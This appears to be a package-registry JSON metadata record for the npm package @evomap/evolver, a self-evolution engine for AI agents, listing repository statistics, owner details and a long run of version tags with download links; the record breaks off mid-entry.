{"id":14024976,"name":"@evomap/evolver","ecosystem":"npm","description":"A GEP-powered self-evolution engine for AI agents. Features automated log analysis and Genome Evolution Protocol (GEP) for auditable, reusable evolution assets.","homepage":"https://evomap.ai","licenses":"GPL-3.0-or-later","normalized_licenses":["GPL-3.0-or-later"],"repository_url":"https://github.com/EvoMap/evolver","keywords_array":["evomap","ai","evolution","gep","meta-learning","self-repair","automation","agent"],"namespace":"evomap","versions_count":117,"first_release_published_at":"2026-03-11T05:33:43.306Z","latest_release_published_at":"2026-05-27T12:53:11.966Z","latest_release_number":"1.87.2","last_synced_at":"2026-05-28T04:13:11.012Z","created_at":"2026-03-11T00:14:31.277Z","updated_at":"2026-05-28T20:29:55.693Z","registry_url":"https://www.npmjs.com/package/@evomap/evolver","install_command":"npm install @evomap/evolver","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"1.70.0-beta.5","latest":"1.87.2"}},"repo_metadata":{"id":335798084,"uuid":"1147063571","full_name":"EvoMap/evolver","owner":"EvoMap","description":"The GEP-powered self-evolving engine for AI agents. Auditable evolution with Genes, Capsules, and Events. | evomap.ai","archived":false,"fork":false,"pushed_at":"2026-05-22T11:05:13.000Z","size":66064,"stargazers_count":7530,"open_issues_count":5,"forks_count":763,"subscribers_count":37,"default_branch":"main","last_synced_at":"2026-05-22T11:39:51.570Z","etag":null,"topics":["a2a","agent-evolution","agent-framework","agent-protocol","ai-agent","auditable-ai","autonomous-agent","cli","evomap","gep","llm-agent","mcp","memory-system","nodejs","prompt-engineering","prompt-governance","self-evolution","self-evolving","skill-library","skills"],"latest_commit_sha":null,"homepage":"https://evomap.ai","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/EvoMap.png","metadata":{"files":{"readme":"README.ja-JP.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-02-01T05:59:24.000Z","updated_at":"2026-05-22T11:05:02.000Z","dependencies_parsed_at":"2026-03-05T10:00:46.597Z","dependency_job_id":null,"html_url":"https://github.com/EvoMap/evolver","commit_stats":null,"previous_names":["autogame-17/capability-evolver","autogame-17/evolver","evomap/evolver"],"tags_count":189,"template":false,"template_full_name":null,"purl":"pkg:github/EvoMap/evolver","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EvoMap","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33545756,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"ssl_error","status_checked_at":"2026-05-26T15:22:15.568Z","response_time":63,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"EvoMap","name":"EvoMap","uuid":"263044117","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/263044117?v=4","repositories_count":1,"last_synced_at":"2026-02-24T12:47:24.714Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/EvoMap","funding_links":[],"total_stars":4,"followers":12,"following":0,"created_at":"2026-02-24T12:47:24.744Z","updated_at":"2026-02-24T12:47:24.744Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EvoMap","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EvoMap/repositories"},"tags":[{"name":"v1.82.1","sha":"f08beccc1d4901613da0607d8995ebf1fa6f14af","kind":"tag","published_at":"2026-05-16T11:38:55.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.82.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.82.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.82.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.82.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.82.1/manifests"},{"name":"v1.82.0","sha":"3dfb136b22b7b89f2a42ad6126ab5afd8a0b0368","kind":"tag","published_at":"2026-05-16T10:21:58.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.82.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.82.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.82.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.82.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.82.0/manifests"},{"name":"v1.81.0","sha":"7c3f1030939eb6801e400b3aa6e53e38d4add077","kind":"tag","published_at":"2026-05-16T09:20:13.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.81.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.81.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.81.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.81.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.81.0/manifests"},{"name":"v1.80.9","sha":"0bca687d5eb178db04296a69c254e0e27260f710","kind":"tag","published_at":"2026-05-16T07:15:10.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.9","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.9/manifests"},{"name":"v1.80.8","sha":"65269ec7a0e066ebd7a98cd25df3cdf528249cf6","kind":"tag","published_at":"2026-05-16T05:57:01.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.8","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.8/manifests"},{"name":"v1.80.7","sha":"17e1c79bbbd3e80536d654ecf1925c5f97c0fcd8","kind":"tag","published_at":"2026-05-09T10:56:11.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.7","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.7/manifests"},{"name":"v1.80.6","sha":"9f7b0c52493fe97517f10e8c777bc0e44a115f4c","kind":"tag","published_at":"2026-05-09T09:04:38.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.6","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.6/manifests"},{"name":"v1.80.5","sha":"eac8f01c3b284cb2da0add27e34e6daea5017b86","kind":"tag","published_at":"2026-05-09T05:33:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.5/manifests"},{"name":"v1.80.4","sha":"1cee702ee92ff5872961abdffae9815ea36436e9","kind":"tag","published_at":"2026-05-08T12:51:07.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.4/manifests"},{"name":"v1.80.3","sha":"147d428cf346004f6c69d9594a618dc492d25fbe","kind":"tag","published_at":"2026-05-07T13:19:29.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.3/manifests"},{"name":"v1.80.2","sha":"2cc0f60f9c019b60c80a20a6dfff0b5784291bf5","kind":"tag","published_at":"2026-05-07T13:10:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.2/manifests"},{"name":"v1.80.1","sha":"4c7857e7e6ed6a2e6dfa24d6b870b35d32cf511e","kind":"tag","published_at":"2026-05-07T08:36:20.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.1/manifests"},{"name":"v1.80.0","sha":"ab9d68e25a1035e82ed43025f83357a409cec72f","kind":"tag","published_at":"2026-05-07T04:15:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.80.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.80.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.80.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.80.0/manifests"},{"name":"v1.79.1","sha":"93e44a32860afc364e4c5f90d82fa4dca71d22a3","kind":"tag","published_at":"2026-05-06T01:47:11.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.79.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.79.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.79.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.79.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.79.1/manifests"},{"name":"v1.79.0","sha":"991b39b8cb86ca93f6f405e71ba40725a1d3765e","kind":"tag","published_at":"2026-05-06T00:27:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.79.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.79.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.79.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.79.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.79.0/manifests"},{"name":"v1.78.10","sha":"4468c9e87bf077fec90908c5e9122a0522218b60","kind":"tag","published_at":"2026-05-05T01:31:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.10","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.10/manifests"},{"name":"v1.78.9","sha":"5304511b1eb23afd7b7e29fdc0de3df1e279569b","kind":"tag","published_at":"2026-05-04T07:02:19.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.9","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.9/manifests"},{"name":"v1.78.8","sha":"2b3c046d5eca8f3e5a8f5c74e38a889cb299fb05","kind":"tag","published_at":"2026-05-04T02:31:57.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.8","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.8/manifests"},{"name":"v1.78.7","sha":"d2a66203e8f4c9e59d7ae962b9686b5d251b90f4","kind":"tag","published_at":"2026-05-03T16:22:44.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.7","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.7/manifests"},{"name":"v1.78.5","sha":"643630fed33b11511f0380fb1237c37e0cab3f48","kind":"tag","published_at":"2026-05-03T13:28:44.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.5/manifests"},{"name":"v1.78.4","sha":"3798ed17b2c5f43e09b58623adc13cba466c4924","kind":"tag","published_at":"2026-05-03T13:23:25.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.4/manifests"},{"name":"v1.78.3","sha":"1f66a0ad3dcaa1887c6c59f17dd35ee5879b96e8","kind":"tag","published_at":"2026-05-03T13:15:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.3/manifests"},{"name":"v1.78.1","sha":"0755f608e4a7a4ced167ff72ce75349e473a298f","kind":"tag","published_at":"2026-05-02T05:53:16.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.1/manifests"},{"name":"v1.78.0","sha":"5f276decc039a066eeab796f892280d9541c9081","kind":"tag","published_at":"2026-05-01T10:17:31.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.78.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.78.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.78.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.78.0/manifests"},{"name":"v1.77.0","sha":"7f13e5809aaa12bf48c85e4fd9290dbf09f709e8","kind":"tag","published_at":"2026-04-30T13:32:03.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.77.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.77.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.77.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.77.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.77.0/manifests"},{"name":"v1.76.0","sha":"35b01c27a4ec5b3358f2cc4965568c7028e48c78","kind":"tag","published_at":"2026-04-30T03:42:00.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.76.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.76.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.76.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.76.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.76.0/manifests"},{"name":"v1.75.0","sha":"72e6d2ac12bd2eae55669655dd9cb10ef52c9137","kind":"tag","published_at":"2026-04-28T12:54:34.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.75.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.75.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.75.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.75.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.75.0/manifests"},{"name":"v1.74.1","sha":"032467e119d2e22df578d6753a731b789948785a","kind":"tag","published_at":"2026-04-28T10:59:35.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.74.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.74.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.74.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.74.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.74.1/manifests"},{"name":"v1.74.0","sha":"84252b8bfb2fc31840e31aa2c97c871e31d6f953","kind":"tag","published_at":"2026-04-28T03:37:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.74.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.74.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.74.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.74.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.74.0/manifests"},{"name":"v1.72.0","sha":"d0377170d24ebf3f9df0c48dc58ff0957b420e63","kind":"tag","published_at":"2026-04-27T10:31:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.72.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.72.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.72.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.72.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.72.0/manifests"},{"name":"v1.70.0","sha":"ef80b0a09f7ce825895cce8e2b75c5c5d9d179ee","kind":"tag","published_at":"2026-04-27T05:49:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.70.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.70.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.70.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0/manifests"},{"name":"v1.70.0-beta.5","sha":"4a63e91ffb28c2c74e1b8d9ba934ad1e57d1e885","kind":"tag","published_at":"2026-04-27T05:32:03.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.70.0-beta.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.70.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.70.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.5/manifests"},{"name":"v1.70.0-beta.4","sha":"34e738d83b83d2add656c9ea3eb0d5f61d16865c","kind":"tag","published_at":"2026-04-26T04:39:18.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.70.0-beta.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.70.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.70.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.4/manifests"},{"name":"v1.70.0-beta.3","sha":"bc17fda0f0c39218fe9cdb6da6f116858ccc59d5","kind":"tag","published_at":"2026-04-25T03:27:03.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.70.0-beta.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.70.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.70.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.3/manifests"},{"name":"v1.70.0-beta.2","sha":"5b1a6092917b5d33c4dd01cd588341ccb40a42aa","kind":"tag","published_at":"2026-04-24T04:45:54.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.70.0-beta.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.70.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.70.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.70.0-beta.2/manifests"},{"name":"v1.69.21","sha":"cd098f88f56756291a5e22d47205f34cc3509e32","kind":"tag","published_at":"2026-04-24T03:54:38.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.21","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.21/manifests"},{"name":"v1.69.20","sha":"9ad6a80e1dbcdd0291ce3e6022a895821af71d7a","kind":"tag","published_at":"2026-04-23T16:59:53.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.20","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.20/manifests"},{"name":"v1.69.19","sha":"95e384e450459df114551a66b6319e96788cafcb","kind":"tag","published_at":"2026-04-23T06:01:09.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.19","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.19/manifests"},{"name":"v1.69.16","sha":"ea40cd40e2ac1a42518526c35d1636b630fee197","kind":"tag","published_at":"2026-04-22T11:22:2